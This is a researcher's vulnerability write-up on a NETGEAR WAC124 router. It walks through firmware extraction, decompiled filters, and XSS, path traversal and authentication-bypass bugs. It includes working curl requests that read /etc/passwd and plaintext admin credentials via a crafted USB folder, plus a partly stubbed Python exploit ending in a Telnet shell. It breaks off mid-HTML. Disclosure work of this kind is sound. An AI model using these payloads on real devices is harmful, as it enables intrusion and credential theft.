Hi, I'm stypr (@stereotype32 ) from Flatt Security Inc.
Last year, I wrote a blog post about technical explanations about 0days found in Japanese OSS products.
I have found a lot of vulnerabilities in various products since then. Unfortunately, most bugs I found did not get it fixed right away, so I did not get any chances to share some exciting vulnerabilities I found until today.
This article will explain how I found various vulnerabilities and chained some of the vulnerabilities into an unauthenticated command execution without any preconditions in a NETGEAR's WAC124(AC2000) router.
I spent about a week finding all these bugs and chained these bugs into two different exploits, one requiring a precondition and one not requiring a precondition.
The sad news was that NETGEAR only gives out bounties for Nighthawk and Orbi routers exclusively, which means I did not receive any bounties. However, It was fun to exploit as it was my first time to exploit this router apart from penetration tests and assessments.
It was so fun that I plan to dig some more vulnerabilities on other types of routers in the near future. I want to thank NETGEAR team for very kind and quick support.
Before starting analysis on an embedded device, We also need to check what components are available from the device and how the router stores firmware. This is done to ensure that I use my time efficiently by not missing out on any unseen critical factors.
While reading the hardware specification, we can notice that the CPU is built for the MIPS architecture.
I've used Ghidra(https://ghidra-sre.org/) this time as Ghidra seemed to give a decent performance and quality on decompiling MIPS-based binaries.
Furthermore, the router has a USB port for media sharing, which will later be used for exploiting a vulnerability.
Type | Value |
---|---|
CPU | MediaTek MT7621AT @880MHz MIPS |
Memory | 128MB (SDRAM) DDR3L |
Storage | 128MB SLC NAND Flash |
Wi-Fi | MediaTek MT7615N (802.11an+ac) MediaTek MT7603EN (802.11bgn) |
Network | 5x Gigabit Ethernet ports |
USB | 1x USB 2.0 ports |
Power | 12V, 1.5A via barrel |
It is good to note that some routers/IoT devices require some fundamental hardware knowledge to dump the firmware from the router or even require you to get access through the Serial(UART) port to access the debug/dev terminal.
Fortunately, NETGEAR firmware is generally available from the official website, so we need to google a bit for the firmware model and download the appropriate firmware. The latest(vulnerable) version for WAC124 is V1.0.4.6 when writing this article. The bug was officially fixed in V1.0.4.7
After downloading the firmware, extracting the firmware is very simple. Download and install binwalk
(https://github.com/ReFirmLabs/binwalk ) and squashfs-tools
to extract the firmware.
As seen below, it is possible to easily extract the firmware's filesystem by using binwalk
.
# binwalk -e ./WAC124.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x8C713BD5, created: 2018-08-22 18:51:44, image size: 139968 bytes, Data Address: 0xA0200000, Entry Point: 0xA0200000, data CRC: 0xFDC782B2, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: none, image name: "NAND Flash I"
113984 0x1BD40 U-Boot version string, "U-Boot 1.1.3 (Aug 22 2018 - 14:51:38)"
262074 0x3FFBA Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
2097152 0x200000 uImage header, header size: 64 bytes, header CRC: 0x3F03E59E, created: 2020-03-20 08:48:54, image size: 3710717 bytes, Data Address: 0x80801000, Entry Point: 0x8080D1D0, data CRC: 0x288B4EF5, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
2097216 0x200040 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9493440 bytes
6291456 0x600000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 20009095 bytes, 2238 inodes, blocksize: 131072 bytes, created: 2020-03-20 08:48:44
48234496 0x2E00000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
48234624 0x2E00080 Zip archive data, at least v2.0 to extract, compressed size: 27512, uncompressed size: 182956, name: ui.xml
48262193 0x2E06C31 Zip archive data, at least v2.0 to extract, compressed size: 13678, uncompressed size: 89652, name: msg.xml
48275929 0x2E0A1D9 Zip archive data, at least v2.0 to extract, compressed size: 43820, uncompressed size: 199506, name: hlp.js
48320002 0x2E14E02 End of Zip archive
50331648 0x3000000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
50331776 0x3000080 Zip archive data, at least v2.0 to extract, compressed size: 28579, uncompressed size: 172930, name: ui.xml
50360412 0x300705C Zip archive data, at least v2.0 to extract, compres
...
# cd _WAC124.bin.extracted/squashfs-root
# ls -al
total 156
drwxr-xr-x 13 root root 4096 Jun 21 2016 .
drwxr-xr-x 127 root root 69632 Sep 6 18:31 ..
lrwxrwxrwx 1 root root 9 Mar 20 2020 bin -> usr/sbin/
drwxrwxrwx 2 root root 4096 Aug 15 2015 data
drwxr-xr-x 2 root root 4096 Oct 19 2015 dev
lrwxrwxrwx 1 root root 8 Mar 20 2020 etc -> /tmp/etc
lrwxrwxrwx 1 root root 11 Mar 20 2020 etc_ro -> /tmp/etc_ro
drwxr-xr-x 2 root root 4096 Dec 2 2012 home
lrwxrwxrwx 1 root root 11 Mar 20 2020 init -> bin/busybox
drwxr-xr-x 5 root root 12288 Mar 20 2020 lib
drwxr-xr-x 2 root root 4096 Dec 2 2012 media
lrwxrwxrwx 1 root root 8 Mar 20 2020 mnt -> /tmp/mnt
drwxr-xr-x 6 root root 4096 Mar 20 2020 opt
drwxr-xr-x 2 root root 4096 Nov 13 2000 proc
lrwxrwxrwx 1 root root 9 Mar 20 2020 sbin -> usr/sbin/
drwxr-xr-x 2 root root 4096 Nov 17 2008 sys
drwxr-xr-x 2 root root 4096 Jul 29 2000 tmp
drwxr-xr-x 10 root root 4096 Jun 21 2016 usr
lrwxrwxrwx 1 root root 8 Mar 20 2020 var -> /tmp/var
lrwxrwxrwx 1 root root 8 Mar 20 2020 www -> /tmp/www
drwxr-xr-x 9 root root 32768 Mar 20 2020 www.eng
The following is the list of files mentioned throughout this article.
-
/bin/mini_httpd
,mini_httpd
: The HTTP server daemon -
/bin/setup.cgi
,setup.cgi
: The CGI(ELF Binary) for processing configurations -
/www.eng/
: root directory for the httpd server -
/etc/htpasswd
: plaintext file of unencrypted credentials for the admin page authentication- Format of the file is
username:password
- Format of the file is
It is generally a good idea to find some basic vulnerabilities such as Cross-site Scripting(XSS), as a lot of embedded devices in general are not sanitizing inputs properly for their web components.
With this in mind, I checked some possible HTM/HTML files in /www.eng/
, and I found a very interesting template-like parameter called @usb_opener_htm#
in usb_new_fld.htm
.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
...
<script>
...
function browseDisk()
{
var cf = document.forms[0];
dataToHidden(cf);
cf.todo.value = "browse";
cf.next_file.value = "usb_fld_tree.htm";
return true;
}
function end()
{
opener.location.href = "@usb_opener_htm#";
self.close();
}
...
</script>
I decided to take a deeper look at how this works, and it was found that there is a function called html_parser
that parses the template from the accessed file.
I haven't gone through in details with this function, but what this function does was
-
Reads the requested file, with some file extension checks (we will talk about this later in the article)
-
Finds for
@variable#
-
Replaces the template string to the actual value.
undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
...
fp = open(filename,0);
...
read(fp,buf,0xffff);
close(fp);
...
tmp = strtok(buf,"@");
while (tmp != (char *)0x0) {
fputs(tmp,stdout);
tmp = strtok((char *)0x0,"#");
if (tmp != (char *)0x0) {
memset(acStack131120,0,0xffff);
ppcVar1 = param_3;
do {
while( true ) {
ppcVar2 = ppcVar1;
if (*ppcVar2 == (char *)0x0) goto LAB_00423e54;
if (ppcVar2[1] != (char *)0x0) break;
ppcVar1 = ppcVar2 + 6;
}
fp = strcmp(tmp,*ppcVar2);
ppcVar1 = ppcVar2 + 6;
} while (fp != 0);
...
LAB_00423e54:
fputs(acStack131120,stdout);
}
tmp = strtok((char *)0x0,"@");
}
ret = 0;
}
}
return ret;
}
Also, there seemed to be other functions that add usb_opener_htm
to nvram
and such, but I will not go through it as the content might become too long to put in a single blog post.
However, it seemed like some of the malicious inputs were blocked by the server.
So I decided to check the main
function on setup.cgi
, where I found that some illegal inputs from HTTP requests are blocked by the function named FindForbidValue
.
undefined4 main(undefined4 param_1,char **param_2)
{
...
int iVar8; // parsed input ptrptr?
...
if (iVar8 == 0) {
iVar8 = cgi_input_parse(param_1,param_2);
}
iVar1 = FindForbidValue(iVar8);
if (iVar1 != 0) {
iVar8 = (**(code **)(local_30 + -0x7ab0))(0x4bd2e0,&DAT_004a673c);
if (iVar8 != 0) {
(**(code **)(local_30 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x17b);
(**(code **)(local_30 + -0x7b40))("Invalid input value!\n",iVar8);
(**(code **)(local_30 + -0x7a9c))(iVar8);
}
send_forbidden();
return 0;
}
...
}
While reading the decompiled code of FindForbidValue
, I found that some parameters such as ;
, ||
and backticks (`
) are blocked by the filter, but XSS didn't seem to be blocked properly.
As long as these checks are bypassed, XSS would definitely work.
uint FindForbidValue(int **param_1)
{
int iVar1;
char **ppcVar2;
char *__s1;
undefined4 uVar3;
char **ppcVar4;
char *__s;
char **ppcVar5;
uVar3 = 0;
if (((param_1 != (int **)0x0) && ((char **)*param_1 != (char **)0x0)) &&
(ppcVar2 = (char **)*param_1, param_1[2] != (int *)0x0)) {
do {
do {
ppcVar4 = (char **)ppcVar2[1];
if (ppcVar4 == (char **)0x0) {
__s = *(char **)(*ppcVar2 + 4);
__s1 = strchr(__s,0x60);
if (__s1 != (char *)0x0) {
return 1;
}
__s1 = strstr(__s,"||");
if (__s1 != (char *)0x0) {
return 1;
}
__s1 = strchr(__s,0x3b);
return (uint)(__s1 != (char *)0x0);
}
ppcVar5 = (char **)*ppcVar2;
__s = ppcVar5[1];
__s1 = strchr(__s);
ppcVar2 = ppcVar4;
} while (((__s1 == (char *)0x0) && (__s1 = strchr(__s,0x3b), __s1 == (char *)0x0)) &&
(__s1 = strstr(__s,"||"), __s1 == (char *)0x0));
__s1 = *ppcVar5;
iVar1 = strcmp(__s1,"ssid");
} while (((iVar1 == 0) || (iVar1 = strcmp(__s1,"ssid_an"), iVar1 == 0)) ||
((iVar1 = strcmp(__s1,"ssid_2g"), iVar1 == 0 ||
(iVar1 = strcmp(__s1,"ssid_new24"), iVar1 == 0))));
uVar3 = 1;
}
return uVar3;
}
After a few trials of tests, I made the XSS work reliably without any problem.
However, my main objective was to trigger a shell while being an unauthenticated user.
I decided to take a serious look at other useful features. Although finding these vulnerabilities might look useless to some security researchers, finding XSS helped me refresh my mind before starting the static analysis.
I found out some weird behaviors from the next_file
parameter while testing setup.cgi
with a help of the manual static analysis,
When the user is not logged in, accessing files with .htm
, .html
, .asp
will redirect the user to the login page, whereas accessing files with .png
, .xml
and other types of image extensions do not return any responses at all.
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.htm'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.html'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.asp'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.png'
curl: (52) Empty reply from server
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.xml'
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.jpg'
curl: (52) Empty reply from server
However, we see some irregularities on the outputs here. For some reason, .xml
does not return empty responses.
So, I decided to read existing files with path traversals and later found out that existing .xml
files can be read whereas the next_file
parameter cannot read existing image files.
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../www.eng/image/sso/BG-Image.png'
curl: (52) Empty reply from server
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/image/sso/BG-Image.png'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Now we have two things to figure out at this point.
-
Why did
xml
files return outputs while.png
and.jpg
files didn't? Did it crash? -
Why did
htm
,asp
,html
files return the login page?
I decided to look at setup.cgi
again, and realized that html_parser
is always called when the next_file
parameter is passed to the function main
.
undefined4 main(undefined4 param_1,char **param_2)
{
...
pcVar1 = (char *)find_val(iVar8,"next_file");
if (pcVar1 == (char *)0x0) {
iVar8 = (**(code **)(puVar10 + -0x7ab0))("/dev/console",&fopen);
if (iVar8 == 0) {
return 0;
}
(**(code **)(puVar10 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x24a);
(**(code **)(puVar10 + -0x7b40))("###next_file_injection_detected!###\n",iVar8);
(**(code **)(puVar10 + -0x7a9c))(iVar8);
return 0;
}
...
LAB_00405d08:
html_parser(pcVar1,iVar8,*(char ***)(puVar10 + -0x7fb8));
return 0;
}
Looking back at the html_parser
function, it looks like the server checks whether the value of next_file
contains (NOT ends with, strstr) .html
, .xml
or .html
.
undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
char **ppcVar1;
int debug_fp;
int fp;
char *tmp;
FILE *log_fp;
undefined4 ret;
char **ppcVar2;
char acStack131120 [65536];
char buf [65544];
...
tmp = strstr(filename,".htm");
if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
(tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
return 0xffffffff;
}
fp = open(filename,0);
if (fp < 0) {
fprintf(stdout,"Can\'t open file %s",filename);
ret = 0xffffffff;
}
else {
read(fp,buf,0xffff);
close(fp);
tmp = strstr(filename,".xml");
if (tmp == (char *)0x0) {
tmp = "text/html";
}
else {
tmp = "text/xml; charset=utf-8";
}
mime_header(tmp);
if (*filename == 'h') {
fputs(buf,stdout);
ret = 0;
}
...
But as we see in the first few trials, the login page was returned for asp
, html
and htm
extensions, and it didn't seem to pass through this routine.
I later found out that this kind of behavior was caused by mini_httpd
, which is the HTTP daemon of the router. I also assumed that .png
and other image extensions are also affected by the daemon, so I decided not to take a further look since we have .xml
file extension working at this point.
So, we know that any valid file containing .xml
on the filename will open properly. What should we do next?
Let's take a look at the html_parser
function again.
tmp = strstr(filename,".htm");
if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
(tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
return 0xffffffff;
}
fp = open(filename,0);
It does strstr
for the file extension check, which means that it DOES look for the existence of file extensions in the supplied filename, but that does not mean that the path has to end with one of those given file extensions.
This could mean that file paths such as path/to/file/blah.xml/1234
or path/test.xml.asdf
are still considered valid file paths.
So what we can do now is to create a valid folder like valid_folder.xml
and do path traversal from that folder to read an arbitrary file.
Now, we have the remaining problem of creating an invalid folder that contains .xml
on its name. As mentioned earlier in this article, we have a USB port on this router. So I decided to create a folder named evil.xml
on my USB drive and inserted this malicious drive into the router.
PS F:\> tree f v /F
F:\
└─evil.xml
The next step is to find the correct location of the mounted USB drive in the router. It was found out that the format of the mounted USB drive's location is in /mnt/shares/%c
, as seen from the setup.cgi
.
With all these things in my mind, I decided to brute-force the name of the drive and…
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/A/evil.xml/../../../../../etc/passwd'
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/B/evil.xml/../../../../../etc/passwd'
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/C/evil.xml/../../../../../etc/passwd'
...
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/passwd'
root::0:0:root:/:/bin/sh
nobody::0:0:Nobody:/:/sbin/sh
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/htpasswd'
admin:Test1234
Voila! It worked like a charm. We now have admin's credentials in our hands.
From now, all we need is to log in as an administrator, enable Telnet from the debug mode and then spawn the shell.
Assuming that the router has the SMB server open without any credentials, we can just log in to the SMB server anonymously and upload the folder named exploit.xml
on the mounted disk and perform an arbitrary file read to leak the administrator's credentials.
To prevent people from running the exploit all over the internet, I decided to remove some codes from the actual exploit. It shouldn't be too difficult to make this snippet usable, though.
def smb_upload_folder():
"""
Upload xml file via SMB
"""
anonymous_smb_and_upload("exploit.xml")
def perform_path_traversal():
"""
Performs the path traversal attack in three steps
1. Perform a path traversal to check if the bug works
2. Do SMB bruteforce to leak /etc/passwd
- 00492900 ... "/tmp/mnt/shares/%c/%s"
- We just need to bruteforce from A ~ Z
3. Leak remaining important files
"""
found_char = None
for _char in string.ascii_uppercase:
payload = f"../mnt/shares/{_char}/exploit.xml/../../../../etc/passwd"
result = try_path_traversal(payload)
# check if /etc/passwd is leaked
if "root::0:0:root:/:/bin/sh" in resp:
print("[.] Successfully leaked /etc/passwd!")
print(resp)
found_char = guess_char
break
if not found_char:
print("[!] Failed to exploit..")
return False
# Leak /etc/htpasswd
payload = f"../mnt/shares/{found_char}/exploit.xml/../../../../etc/htpasswd"
result = try_path_traversal(payload)
print(f"[.] Successfully leaked /etc/htpasswd!")
print(result)
return result
def login(username, password):
"""
Login with username and password
"""
return session
def enable_debug_mode(session):
"""
Access debug.htm to enable debug mode
"""
return True
def trigger_shell(htpasswd):
"""
Use the /etc/htpasswd to login as admin.
After authentication, enable debug mode and get shell.
"""
username, password = htpasswd.strip().split(":")
admin_session = login(username, password)
enable_debug_mode(admin_session)
with Telnet('www.routerlogin.net', 23) as session:
session.read_until(b"login: ")
session.write(username.encode() + b"\n")
session.write(password.encode() + b"\n")
session.interact()
if __name__ == "__main__":
smb_upload_folder()
htpasswd = perform_path_traversal()
if htpasswd:
print("[.] Path Traversal Success! Let's get shell now..")
trigger_shell(htpasswd)
else:
print("[-] Failed..")
The drawback of this exploit is the precondition to achieve this attack.
Since my main objective was to get the shell without being unauthenticated and without any precondition, I decided to look deeper at other files such as mini_httpd
.
As seen earlier in the Arbitrary File Read, some file extensions didn't seem to pass through setup.cgi
, so I decided to take a deeper look at mini_httpd
, which is the HTTP daemon module of the router.
Interestingly, this mini_httpd
seemed to be a customized version from the original ACME's http://www.acme.com/software/mini_httpd/ project.
Unfortunately, the customized build seemed to be somewhat far different from the original build, so I decided not to look at the official source code.
After disassembling the mini_httpd
and reading codes for a while, there seemed to be some kinds of checks in a function called path_exist
, and the code was a bit interesting:
uint path_exist(char *requested_path,char **s_currentstring_html,char *haystack)
{
char *needle;
int iVar1;
char *pcVar2;
char bufPath [1024];
char *tmp;
...
needle = strstr(requested_path,".gif");
if ((((needle == (char *)0x0) && (needle = strstr(requested_path,".css"), needle == (char *)0x0))
&& (needle = strstr(requested_path,".js"), needle == (char *)0x0)) &&
(((needle = strstr(requested_path,".xml"), needle == (char *)0x0 &&
(needle = strstr(requested_path,".png"), needle == (char *)0x0)) &&
(needle = strstr(requested_path,".jpg"), needle == (char *)0x0)))) {
return 0;
}
needle = strstr(requested_path,".htm");
if (needle != (char *)0x0) {
return 0;
}
needle = strstr(requested_path,"html");
if (needle == (char *)0x0) {
...
needle = strstr(requested_path,"todo=");
if (needle != (char *)0x0) {
return 0;
}
...
memset(bufPath,0,0x400);
strncpy(bufPath,requested_path,0x3ff);
iVar1 = strncmp(bufPath,"/setup.cgi?",0xb);
if (iVar1 == 0) {
needle = strstr(bufPath,"next_file=");
if (needle == (char *)0x0) {
return 1;
}
pcVar2 = strchr(needle,0x26);
if (pcVar2 == (char *)0x0) {
return 1;
}
...
*pcVar2 = '\0';
pcVar2 = strstr(needle,".gif");
if (pcVar2 != (char *)0x0) {
return 1;
}
...
pcVar2 = strstr(needle,".js");
if (pcVar2 != (char *)0x0) {
return 1;
}
pcVar2 = strstr(needle,".png");
}
else {
...
needle = strstr(bufPath,".xml");
if (needle != (char *)0x0) {
return 1;
}
pcVar2 = strstr(bufPath,".png");
needle = bufPath;
}
if (pcVar2 != (char *)0x0) {
return 1;
}
needle = strstr(needle,".jpg");
return (uint)(needle != (char *)0x0);
}
return 0;
}
It seemed too complicated to look at first sight. However, after reading this function and its related codes, I found out that the whole point of these codes is just to ensure that the unauthenticated user can only have access to certain types of file extensions.
This path_exist
function basically
-
checks if your path does not contain
.htm
,.html
,.asp
or such. -
checks if your path does not contain some dangerous characters that could cause unexpected behaviors, such as
todo
, etc.
I decided to bypass the todo=
filter first since this parameter is essential for us to perform some important requests to the server.
Let's first try with the existing payload we have in our hands.
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?next_file=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
Now, let's see what happens with when we change e
to %65
from the parameter's name.
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
It still works perfectly even when the query string is encoded. In this case, we now know that the whole query string is decoded internally.
Now, let's add todo=
on the request.
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?todo=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>%
As we see, the server redirects the user to the login page (unauthorized request) as it is considered as an invalid path.
What if we change d
to %64
from the todo parameter's name?
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?to%64o=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" href="style/basic.css?v=1046">
<script language=javascript type=text/javascript src=funcs.js></script>
<script language=javascript type=text/javascript src="basic.js?v=1046"></script>
<script language=javascript type=text/javascript src=top.js></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<title>NETGEAR Router WAC124</title>
<meta http-equiv=content-type content='text/html; charset=UTF-8'>
<meta content="MSHTML 6.00.2800.1141" name="GENERATOR">
...
var guest="0";
var sso_error="0";
...
</script>
<body onload="loadvalue();" onResize="change_size();">
<form onsubmit="return false">
<div id="top">
<iframe name="topframe" id="topframe" src="top.html" allowtransparency="true" scrolling="no" height="100%" width="100%" frameborder="0"></iframe>
</div>
<div id="container" class="container_center">
<div id="middle">
<div id="menu">
<div id="home" class="basic_button_purple" onclick="click_action('home');"><b><span languageCode = "3059">Home</span></b></div>
<div id="cloud" class="basic_button" style="display: none" onclick="click_action('cloud');"><b><span languageCode="3715">NETGEAR Cloud - Cloud Sharing Center</span></b></div>
<div id="internet" class="basic_button" onclick="click_action('internet');"><b><span languageCode = "70">Internet</span></b></div>
<div id="wireless" class="basic_button" onclick="basic_menu_color_change('wireless');top.formframe.location.href='setup.cgi?next_file=WLG_dualband_idx.htm&todo=init_wireless_1';"><b><span languageCode = "552">Wireless</span></b></div>
<div id="attached" class="basic_button" onclick="click_action('attached');"><b><span languageCode = "190">Attached Devices</span></b></div>
<!--
<div id="parental" class="basic_button" onclick="click_action('parental');"><b><span languageCode = "3112">Parental Controls</span></b></div>
-->
<div id="readyshare" class="basic_button" style="display: none" onclick="click_action('readyshare');"><b><span languageCode = "3226">ReadySHARE</span></b></div>
<!--
<div id="guest" class="basic_button" style="display: none" onclick="click_action('guest');"><b><span languageCode = "470">Guest Network</span></b></div>
-->
<div id="turbovideo" class="basic_button" style="display: none" onclick="click_action('turbovideo');"><b><span languageCode = "3227">FastLane</span></b></div>
<div id="greendown" class="basic_button" style="display: none" onclick="click_action('greendown');"><b><span languageCode = "2038">NETGEAR Downloader</span></b></div>
</div>
<!--div id="mini_height"> </div-->
<div id="formframe_div">
<iframe name="formframe" id="formframe" allowtransparency="true" height="100%" width="100%" scrolling="no" frameborder="0" > </iframe>
</div>
<div id="footer" class="footer"> <img class="footer_img" src="image/footer/footer.gif">
<div id="support"> <b languageCode = "3057">HELP & SUPPORT</b> <a target="_blank" href=" http://www.netgear.com/support/product/WAC124.aspx#docs" languageCode = "489">Documentation</a> | <a target="_blank" href="http://www.netgear.com/support/product/WAC124.aspx" languageCode = "3241">Online Support</a> | <a target="_blank" href="https://www.netgear.com/support/product/WAC124.aspx#download" languageCode = "10809">Downloads</a> | <a target="_blank" href="https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL">GPL</a> </div>
<div id="search" align=right> <b languageCode = "3139">SEARCH HELP</b>
<input type="text" name="search" value="Enter Search Item" onKeyPress="detectEnter('num',event);" onFocus="this.select();" languageCode = "3042" >
<input id="search_button" class="search_button" type="button" name="dosearch" value="GO" onClick="do_search();" languageCode = "3055">
</div>
</div>
</div>
</div>
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>
For some unknown reason, passing todo=
returned the output of authenticated index.htm
, which is supposed to be shown only for authenticated users.
At this point, we now know that this string check is possible to bypass, and we also know that some unexpected behaviors are happening from the server.
After some possible bypasses in the query string, I also found some weird behaviors when the HTTP request is sent by curl.
$ curl 'http://192.168.0.100/test' -v
* Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /test HTTP/1.1
> Host: 192.168.0.100
> User-Agent: curl/7.64.1
> Accept: */*
>
(null) 403 Forbidden
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 11:32:54 GMT
Cache-Control: no-cache,no-store
Content-Type: text/html; charset=%s
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<title>403 Forbidden</title>
</head>
<body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">
<h4>403 Forbidden</h4>
Curl is forbidden
</BODY>
</HTML>
* Closing connection 0
Do you see the first line of output? It sends (null) 403 Forbidden
as a response.
At this point, I stopped to think further since this mini_httpd
seemed like it had many unknown behaviors that appeared to be challenging to trace the root cause. Instead of looking further, I decided to write a dumb HTTP path fuzzer to find out some possible bypasses for the mini_httpd
.
After running the fuzzer for 20~30 minutes, I was able to bypass the authentication and get access without any prior authentication.
I'm removing the actual payload for your homework. It should be fun for you to create an HTTP fuzzer too. I think it is still possible to find authentication bypasses on other NETGEAR models, so this one is just for you. It seemed like some other security researchers have found similar or identical bugs by fuzzing the path, so it may be worth creating your own fuzzers. 🙂
Anyways, I've just developed a simple dumb fuzzer with a prefix of a valid path. You can possibly create something like my fuzzer and perform some fuzzing on the HTTP protocol.
curl 'http://192.168.0.100/***REDACTED***' -H "User-Agent: Mozilla/5.0" -v ] 9:09 PM
* Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /***REDACTED*** HTTP/1.1
> Host: 192.168.0.100g
> Accept: */*
> User-Agent: Mozilla/5.0
>
***REDACTED*** HTTP/1.1 200 Ok
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 12:09:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 7441
Last-Modified: Fri, 20 Mar 2020 06:26:17 GMT
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><link rel="stylesheet" href="style/top.css">
<script language="javascript" type="text/javascript" src="funcs.js"></script>
<script language="javascript" type="text/javascript" src="top.js"></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<script language="javascript" type="text/javascript" src="utility.js"></script>
<script language="javascript" type="text/javascript" src="linux.js"></script>
<link rel="stylesheet" href="style/form.css">
<script language="javascript" type="text/javascript">
